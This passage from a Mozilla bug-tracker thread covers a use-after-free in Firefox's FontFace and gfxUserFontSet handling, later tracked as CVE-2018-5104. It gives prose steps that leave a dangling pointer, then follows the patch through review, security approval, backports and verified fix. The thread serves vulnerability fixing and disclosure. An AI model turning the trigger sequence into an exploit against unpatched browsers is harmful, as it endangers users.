2. We create the cloned document (this doesn't need to be cloned, just some separate document), which gets its own FontFaceSet and gfxUserFontSet.  Call these document_b, font_face_set_b, etc.

3. The new FontFace() call creates a new FontFace with its mFontFaceSet (its "primary" FontFaceSet) being font_face_set_a, and with its mUserFontEntry null.

4. We call font_face_set_b.add(font_face), which adds font_face_set_b to font_face's mOtherFontFaceSets.

5. We call font_face_set_b.clear(), which, because it calls FlushUserFontSet, causes the FontFace to get a gfxUserFontEntry.  That gfxUserFontEntry has a raw pointer to the user_font_set_b.  It then removes font_face_set_b from font_face's mOtherFontFaceSets.

6. We drop our local references to document_b and font_face_set_b, then do a GC/CC.  This ends up unlinking both of these objects, and as part of unlinking FontFaceSet, it drops its strong reference to its gfxUserFontSet, and it is destroyed, while the gfxUserFontEntry still has its raw pointer to it.

7. We call font_face.load() which wants to do something with the dangling gfxUserFontSet pointer.


So I think it's probably not correct to create the gfxUserFontEntry associated with the user font set of the thing that wants to load the font, and instead we should use the FontFace's primary FontFaceSet's gfxUserFontSet, since that is the one that will know will stay alive.  (Because the FontFace holds a strong reference to that FontFaceSet.)

But we should probably check exactly what the gfxUserFontEntry uses its mUserFontSet for.  We should only end up being able to share gfxUserFontEntrys between different documents/FontFaceSets that are same origin, so probably it's OK.  But it might cause error messages to be reported to different windows.

    
    

    
  
So gfxUserFontEntry::mFontSet (not mUserFontSet as I mistyped above) is used for:

* the CSP check
* the referrer policy used
* reporting errors to the console
* the document node passed to NS_NewChannelWithTriggeringPrincipal
* the document load group used
* doing the load origin check
* determining whether the cache should be bypassed
* checking whether we're in private browsing mode

For some of these things, whichever gfxUserFontSet is used we'll get the same result, e.g. because private browsing mode and cache bypass should have the same values.  And since we can only stick a FontFace from one window into another window when script can access that other window, any difference in principal shouldn't matter.  The CSP directives and referrer policy to use are bigger issues, but I think you could make the case that consistently using the FontFace's creating window is better than choosing one or the other depending on exactly how the FontFace load is triggered (via a load() on the FontFace itself, or due to layout / document.fonts.load() on one of the windows).  Some quick testing shows Chrome does this, and I filed https://github.com/w3c/csswg-drafts/issues/2113 to clarify the spec.

    
    

    
  
(In reply to Daniel Veditz [:dveditz] from comment #5)
> Slightly varying stacks, but I'm seeing UAF crashes in DoLoadNextSrc in the
> wild in Release and Beta.
> bp-c89dd432-7bc9-4238-a697-536360171213
> bp-c7535340-f510-462d-ae9e-e1fc20171209 (see rdx in the "Raw Dump" tab)

Does this indicate that `fe` is e5e5e5e5e5e5e5e5 and we're crashing while trying to read its mRefCnt?  If so, I'm not sure yet how that happens.

    
    

    
  

      
      
      
      

        Attached patch
          
          
        patch
        — 
          — Splinter Review
      

    


  

        Attachment #8937303 -
        Flags: review?(jfkthame)

    
    

    
  
Comment on attachment 8937303 [details] [diff] [review]
patch

Review of attachment 8937303 [details] [diff] [review]:
-----------------------------------------------------------------

Looks reasonable to me. Thanks for the thorough explanation, very helpful.

        Attachment #8937303 -
        Flags: review?(jfkthame) → review+

    
    

    
  
Comment on attachment 8937303 [details] [diff] [review]
patch

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

Not easily.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

No.

Which older supported branches are affected by this flaw?

All.

If not all supported branches, which bug introduced the flaw?


Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

I'll attach backports.

How likely is this patch to cause regressions; how much testing does it need?

I think the chance is low.  This does cause a user visible change to some edge cases, where a FontFace is created in one document, inserted in another, and there are different CSP or referrer policies between the two documents.  But this change does make us match Chrome now.

The existing test_font_loading_api.html is pretty extensive, so would catch any important user facing regressions.

        Attachment #8937303 -
        Flags: sec-approval?

    
    

    
  
Comment on attachment 8937303 [details] [diff] [review]
patch

sec-approval+ for trunk. Please nominate a beta patch as well.

        Attachment #8937303 -
        Flags: sec-approval? → sec-approval+

    
    

    
  
Comment on attachment 8937303 [details] [diff] [review]
patch

Approval Request Comment
[Feature/Bug causing the regression]: probably bug 1028497
[User impact if declined]: security bug
[Is this code covered by automated tests?]: yes
[Has the fix been verified in Nightly?]: not landed yet
[Needs manual test from QE? If yes, steps to reproduce]: no
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: not very
[Why is the change risky/not risky?]: see comment 11
[String changes made/needed]: none

        Attachment #8937303 -
        Flags: approval-mozilla-beta?

    
    

    
  
Should I nominate for release / esr52?

    
  
Flags: needinfo?(abillings)

    
    

    
  
(In reply to Cameron McCormack (:heycam) (away until 3 Jan) from comment #15)
> Should I nominate for release / esr52?

ESR52, yes. There is no point of nominating for Release unless we are doing a chemspill and point release to ship this right now.
Flags: needinfo?(abillings)

        Attachment #8937303 -
        Flags: approval-mozilla-beta? → approval-mozilla-beta+

    
    

    
  
Comment on attachment 8937889 [details] [diff] [review]
backport for esr52

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: latent security bug
Fix Landed on Version: not landed yet, but plan to land on Beta 58
Risk to taking this patch (and alternatives if risky): see comment 11
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

        Attachment #8937889 -
        Flags: approval-mozilla-esr52?

    
    

    
  
https://hg.mozilla.org/mozilla-central/rev/c03552209712
Status: ASSIGNED → RESOLVED
Closed: 6 years ago

          status-firefox59:
          affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla59

    
    

    
  
Comment on attachment 8937889 [details] [diff] [review]
backport for esr52

Sec-high, ESR52+

        Attachment #8937889 -
        Flags: approval-mozilla-esr52? → approval-mozilla-esr52+
Whiteboard: [adv-main58+][adv-esr52.6+]
Alias: CVE-2018-5104
Flags: qe-verify+
Whiteboard: [adv-main58+][adv-esr52.6+] → [adv-main58+][adv-esr52.6+][post-critsmash-triage]
Flags: sec-bounty?

    
    

    
  
I have managed to reproduce the issue mentioned in comment 0 using Firefox 59.0a1 (BuildId:20171213220206) Asan build.

This issue is verified fixed using Firefox 59.0a1 (BuildId:20180102093528), Firefox 58.0 (BuildId:20180122143917) and Firefox 52.6.0 esr (BuildId:20180121200330) Asan builds on Ubuntu 16.04 64bit.
Status: RESOLVED → VERIFIED

          status-firefox58:
          fixed → verified

          status-firefox59:
          fixed → verified

          status-firefox-esr52:
          fixed → verified
Flags: qe-verify+
Group: layout-core-security → core-security-release
Flags: sec-bounty? → sec-bounty+
Group: core-security-release

          You need to log in
          before you can comment on or make changes to this bug.
        






  

    
  







  

    

      
Attachment

      

      
      
      
      
    

    

      

        

          

            
General

            

              Creator: 



            

            
Created: 

            
Updated: 

            
Size: